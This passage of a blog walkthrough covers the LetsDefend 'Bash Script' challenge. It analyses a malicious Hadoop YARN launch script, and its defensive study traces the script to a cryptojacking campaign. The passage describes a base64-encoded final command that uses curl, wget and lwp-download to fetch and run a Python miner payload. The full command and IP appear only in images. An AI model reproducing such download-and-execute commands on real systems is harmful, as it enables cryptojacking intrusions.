components, YARN is responsible for allocating system resources to the various applications running in a Hadoop cluster and scheduling tasks to be executed on different cluster nodes.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;While we don&amp;rsquo;t necessarily need to be &lt;em&gt;Hadoop&lt;/em&gt; experts it&amp;rsquo;s very helpful to understand that &lt;em&gt;YARN&lt;/em&gt; is responsible for setting up, managing, and executing tasks for various applications on a cluster of computers.&lt;/p&gt;&#xA;&lt;p&gt;We can imagine that a &lt;em&gt;bash script&lt;/em&gt; might be useful for automating provisioning, setting up environment variables, configuration paths, and executing tasks — but this could also be abused by the bad guys, too. Since we&amp;rsquo;re told there is something suspicious about the sample script, it might indicate a potential breach of the application container environment. Let&amp;rsquo;s find out for ourselves!&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the theory out of the way, let&amp;rsquo;s finally extract the &lt;em&gt;ChallengeFile,&lt;/em&gt; &lt;strong&gt;sample.7z&lt;/strong&gt;, and open the resulting file (&lt;strong&gt;sample&lt;/strong&gt;) with a text editor. For the examples in this walkthrough, I&amp;rsquo;ll be using &lt;strong&gt;Vim.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To find the answer to &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;ll focus on the &lt;code&gt;PRELAUNCH_OUT&lt;/code&gt; environment variable which defines the standard output (&lt;em&gt;stdout&lt;/em&gt;) path for the container&amp;rsquo;s pre-launch logs. As the name implies, these pre-launch logs capture the commands executed by the setup script on the container before the application launches.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;463&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/b1f1cf834b26e43d47da130bd3e8ef86_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1870px&#34; data-flex-grow=&#34;779&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/6a69f0dd38398faa8c76a3527a2fc4cf_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/6a69f0dd38398faa8c76a3527a2fc4cf_MD5_hu_cf60577c14e05bc4.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/6a69f0dd38398faa8c76a3527a2fc4cf_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-which-environment-variable-specifies-the-java-home-directory&#34;&gt;Question 2: Which environment variable specifies the Java home directory?&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Question 2&lt;/strong&gt; is more self-explanatory. A few lines further down in the script, we&amp;rsquo;ll find the &lt;code&gt;JAVA_HOME&lt;/code&gt; environment variable which tells the application where the &lt;em&gt;Java&lt;/em&gt; installation&amp;rsquo;s home directory is.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;694&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/5575ac4f5b1f114efe34790fa92eaa81_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/5575ac4f5b1f114efe34790fa92eaa81_MD5_hu_5bc0b7a4354383fb.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/5575ac4f5b1f114efe34790fa92eaa81_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1945px&#34; data-flex-grow=&#34;810&#34; height=&#34;148&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/dfbf0ced9e06eb6b6a92de8de2628413_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/dfbf0ced9e06eb6b6a92de8de2628413_MD5_hu_c4890f1172040a99.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/dfbf0ced9e06eb6b6a92de8de2628413_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-value-of-the---&#34;&gt;Question 3: What is the value of the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;NM_HTTP_PORT&amp;quot;&#xA;environment variable?&lt;/p&gt;&#xA;&lt;p&gt;This is another self-explanatory one. We just need to find the &lt;code&gt;NM_HTTP_PORT&lt;/code&gt; environment variable in the script.&lt;/p&gt;&#xA;&lt;p&gt;Since I&amp;rsquo;m not familiar with &lt;strong&gt;NM,&lt;/strong&gt; though, &lt;strong&gt;l&lt;/strong&gt;et&amp;rsquo;s do some research to understand it more. According to the &lt;em&gt;Hadoop Documentation,&lt;/em&gt; &lt;strong&gt;NM&lt;/strong&gt; stands for &lt;a class=&#34;link&#34; href=&#34;https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/NodeManager.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NodeManager&lt;/strong&gt;&lt;/a&gt;. It&amp;rsquo;s a component of &lt;em&gt;YARN&lt;/em&gt; that is responsible for managing individual nodes in the cluster. So, this environment variable is specifying the port (&lt;em&gt;8042&lt;/em&gt;) where the web interface is accessible to retrieve data about a node&amp;rsquo;s status. Cool stuff!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;694&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4e4d7425a4ec1ebb2054c604c508aa2d_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4e4d7425a4ec1ebb2054c604c508aa2d_MD5_hu_302a856218be1f5.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4e4d7425a4ec1ebb2054c604c508aa2d_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1834px&#34; data-flex-grow=&#34;764&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/8a6f64ec10341571f3bf2655c5db2489_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/8a6f64ec10341571f3bf2655c5db2489_MD5_hu_f32275054a0866f9.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/8a6f64ec10341571f3bf2655c5db2489_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-directory-is-set-as-the---&#34;&gt;Question 4: What directory is set as the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;LOCAL_DIRS&amp;quot;&#xA;environment variable?&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Question 4&lt;/strong&gt;, let&amp;rsquo;s find the &lt;code&gt;LOCAL_DIRS&lt;/code&gt; environment variable. In the bash script, this variable specifies the local directories on a node where &lt;em&gt;YARN&lt;/em&gt; can store temporary files and logs during the execution of applications.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;694&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/90c60db7e91e9ea778f534ff971ab35e_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/90c60db7e91e9ea778f534ff971ab35e_MD5_hu_392c0de15ba697bc.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/90c60db7e91e9ea778f534ff971ab35e_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1870px&#34; data-flex-grow=&#34;779&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/91f0fa9c5a601fbf593203992ce9260d_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/91f0fa9c5a601fbf593203992ce9260d_MD5_hu_ed6a1ce770bab441.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/91f0fa9c5a601fbf593203992ce9260d_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-the-script-executes-a-line-at-the-end-of-it-what-isit&#34;&gt;Question 5: The script executes a line at the end of it. What is it?&#xA;&lt;/h3&gt;&lt;p&gt;All right, now we&amp;rsquo;re done looking for environment variables and starting to analyze some suspicious activity. At the bottom of the script, we&amp;rsquo;ll see the below command, followed by some parameters:&lt;/p&gt;&#xA;&lt;p&gt;exec /bin/bash -c&lt;/p&gt;&#xA;&lt;p&gt;With the use of &lt;strong&gt;curl&lt;/strong&gt;, &lt;strong&gt;wget&lt;/strong&gt;, &amp;amp; &lt;strong&gt;lwp-download&lt;/strong&gt; we get the idea that this command is trying (quietly) a few different methods to download a file from a remote server. For the purposes of &lt;strong&gt;Question 5,&lt;/strong&gt; we must understand what the line at the end of the script is doing. The setback here is that the final command is encoded but that&amp;rsquo;s no problem!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;8470px&#34; data-flex-grow=&#34;3529&#34; height=&#34;34&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/0585eba87e2a7294a9346d780aa52576_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/0585eba87e2a7294a9346d780aa52576_MD5_hu_d74897d3eba041c0.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/0585eba87e2a7294a9346d780aa52576_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can use a tool like &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt; to decode it, or do it directly from the &lt;em&gt;terminal:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3272px&#34; data-flex-grow=&#34;1363&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3a3907c9ce78be3882a40e04dc399191_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3a3907c9ce78be3882a40e04dc399191_MD5_hu_f33c0089deece36b.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3a3907c9ce78be3882a40e04dc399191_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Base64 Decoding with Terminal&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;573&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3ebbf12a83ff42ca02d72b987d670790_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3ebbf12a83ff42ca02d72b987d670790_MD5_hu_eb61f23425c9fb05.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3ebbf12a83ff42ca02d72b987d670790_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Base64 Decoding with CyberChef&lt;/p&gt;&#xA;&lt;p&gt;Once we have decoded the command, we&amp;rsquo;ll ultimately discover that the script downloads and executes a &lt;em&gt;Python-based&lt;/em&gt; payload — &lt;strong&gt;d.py&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/659c4354e7f3a5e66346fa0627b0e6b1_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/659c4354e7f3a5e66346fa0627b0e6b1_MD5_hu_24fa2c2adb10922.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/659c4354e7f3a5e66346fa0627b0e6b1_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-which-command-is-used-to-create-a-copy-of-the-launchscript&#34;&gt;Question 6: Which command is used to create a copy of the launch script?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s take a step back and search the script for a command that creates a copy of the launch script. With little effort, we can find the following line in the script, which is conveniently commented. The &lt;em&gt;copy&lt;/em&gt; &lt;code&gt;(cp)&lt;/code&gt; command is being used to copy the &lt;em&gt;launch_container.sh&lt;/em&gt; script — interesting&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;#Creating copy of the launch script&#xA;cp &amp;ldquo;launch_container.sh&amp;rdquo; &amp;ldquo;/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/launch_container.sh&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/da401458d82bfe34b54fa0d92c3cece0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/da401458d82bfe34b54fa0d92c3cece0_MD5_hu_f0dd63539d29cca1.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/da401458d82bfe34b54fa0d92c3cece0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1870px&#34; data-flex-grow=&#34;779&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/de406e84e7604bf869ebec13e1e13962_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/de406e84e7604bf869ebec13e1e13962_MD5_hu_951c66686862f93.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/de406e84e7604bf869ebec13e1e13962_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-command-is-executed-to-determine-the-directory-contents&#34;&gt;Question 7: What command is executed to determine the directory contents?&#xA;&lt;/h3&gt;&lt;p&gt;Another helpful comment points us to the correct location to look for the answer to &lt;strong&gt;Question 7.&lt;/strong&gt; Here we&amp;rsquo;ll observe that the &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/xenial/man1/ls.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ls -l&lt;/strong&gt;&lt;/a&gt; command is used to list the directory contents with the long listing format:&lt;/p&gt;&#xA;&lt;h1 id=&#34;determining-directory-contents&#34;&gt;Determining directory contents&#xA;&lt;/h1&gt;&lt;p&gt;echo &amp;ldquo;ls -l:&amp;rdquo; 1&amp;gt;&amp;quot;/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/directory.info&amp;quot;&#xA;ls -l 1&amp;raquo;&amp;quot;/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/directory.info&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/d857dcbc540be1361af71ee47efe862a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/d857dcbc540be1361af71ee47efe862a_MD5_hu_a3c6073ffd440f81.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/d857dcbc540be1361af71ee47efe862a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/9c6d1e7575d9dd9887093bb34b641c58_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/9c6d1e7575d9dd9887093bb34b641c58_MD5_hu_2889006e4d40c85a.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/9c6d1e7575d9dd9887093bb34b641c58_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-ip-address-is-used-for-downloading-a-script-from-the-remoteserver&#34;&gt;Question 8: What IP address is used for downloading a script from the remote server?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question, and it looks familiar, doesn&amp;rsquo;t it? Remember back in &lt;strong&gt;Question 5,&lt;/strong&gt; we found a script being downloaded and executed. Let&amp;rsquo;s refer back to that line and the &lt;strong&gt;IP Address&lt;/strong&gt; from where the script was downloaded:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;8470px&#34; data-flex-grow=&#34;3529&#34; height=&#34;34&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4ce71d0f7082e1b917b77b4d9ee10955_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4ce71d0f7082e1b917b77b4d9ee10955_MD5_hu_b228e8c038dd6664.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4ce71d0f7082e1b917b77b4d9ee10955_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome, we&amp;rsquo;ve found the answer! Feel free to submit it and wrap up this challenge.&lt;/p&gt;&#xA;&lt;p&gt;But if you&amp;rsquo;re interested and want to understand this attack in more detail, I&amp;rsquo;m going on a side quest to research further by consulting some external threat intelligence to understand exactly is going on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1756px&#34; data-flex-grow=&#34;731&#34; height=&#34;164&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/7a258a7cae7a115b224b360182636b8a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/7a258a7cae7a115b224b360182636b8a_MD5_hu_5298f71eb7318a05.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/7a258a7cae7a115b224b360182636b8a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-8--sidequest&#34;&gt;&lt;strong&gt;Question 8 — Side Quest:&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;p&gt;While outside the scope of the challenge, if you want to gain a better understanding of the attack, let&amp;rsquo;s pivot to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; and search for the &lt;em&gt;IP Address&lt;/em&gt; we found.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1142px&#34; data-flex-grow=&#34;476&#34; height=&#34;168&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/fc5c78f80e64a65aa510c1533fbc7b3c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On &lt;em&gt;VirusTotal&lt;/em&gt;, there are a couple of hits, but we want to focus on the &lt;strong&gt;Relations&lt;/strong&gt; tab &amp;gt; &lt;strong&gt;Files Referring&lt;/strong&gt; section. With a quick scan, you&amp;rsquo;ll notice something familiar from &lt;strong&gt;Question 5&lt;/strong&gt; — &lt;strong&gt;d.py&lt;/strong&gt;, the payload downloaded and executed by the script.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;629px&#34; data-flex-grow=&#34;262&#34; height=&#34;305&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/212841a15bff6b4e36dafc6be0b2f2b6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Clicking on this &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/944f631cbe6dbb89a682320b8ebf64fa97cc9d52db170d2f467b81f3558d13a3/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;entry&lt;/a&gt;, we&amp;rsquo;ll see that this is classified as a &lt;strong&gt;crypto miner&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;583px&#34; data-flex-grow=&#34;243&#34; height=&#34;329&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/34db21aea67f90a4d4ae7d673e7d78b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, let&amp;rsquo;s head back to the &lt;strong&gt;VirusTotal&lt;/strong&gt; page for the &lt;strong&gt;IP Address&lt;/strong&gt; and navigate to &lt;strong&gt;Details&lt;/strong&gt; &amp;gt; &lt;strong&gt;Google Results&lt;/strong&gt; to find some external research. Check out one of the linked articles from &lt;strong&gt;Trend Micro,&lt;/strong&gt; as it references the malicious IP_._&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html&#34;  title=&#34;https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Threat Actors Exploit Misconfigured Apache Hadoop YARN&lt;/strong&gt;&#xA;_We look into how threat actors are exploiting Apache Hadoop YARN, a part of the Hadoop framework that is responsible&amp;hellip;_www.trendmicro.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In summary, the report reveals how threat actors exploit misconfigured &lt;strong&gt;Apache Hadoop YARN&lt;/strong&gt; services to deploy &lt;strong&gt;cryptojacking&lt;/strong&gt; miner malware onto their targets.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;As &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/defending-systems-against-cryptocurrency-miner-malware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;cryptojacking&lt;/a&gt; malware is known to be one of the dominant and common payloads for &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/a-look-at-linux-threats-risks-and-recommendations&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Linux environments&lt;/a&gt;, it is no surprise that they were deployed in the YARN service as well&amp;hellip;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;hellip;At the onset of the attack, the threat actors send commands to the exposed service via an HTTP POST request. As an unintended response, the &lt;strong&gt;YARN then creates a launch script that incorporates the attackers&amp;rsquo; commands&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Between the &lt;strong&gt;VirusTotal&lt;/strong&gt; report for &lt;strong&gt;d.py&lt;/strong&gt; and the &lt;strong&gt;TrendMicro&lt;/strong&gt; research linking the IP we found to &lt;strong&gt;cryptojacking&lt;/strong&gt; attacks, we now have a better understanding of how the malicious script works and the attacker&amp;rsquo;s goal. Great job!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it — script analyzed! During our investigation, we analyzed a &lt;strong&gt;bash script&lt;/strong&gt; using &lt;strong&gt;Vim.&lt;/strong&gt; This helped us understand some of the functions and environment variables of &lt;strong&gt;Hadoop YARN.&lt;/strong&gt; We discovered some suspicious commands executed by the script, which included downloading and executing a script from a remote server. By pivoting to external research, we identified &lt;em&gt;indicators of compromise&lt;/em&gt; and determined that the attacker likely performed a &lt;strong&gt;cryptojacking&lt;/strong&gt; attack on the server. Now that we have scoped the attack and completed our objectives let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/bash-script&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Bash Script&lt;/strong&gt;&lt;/a&gt; 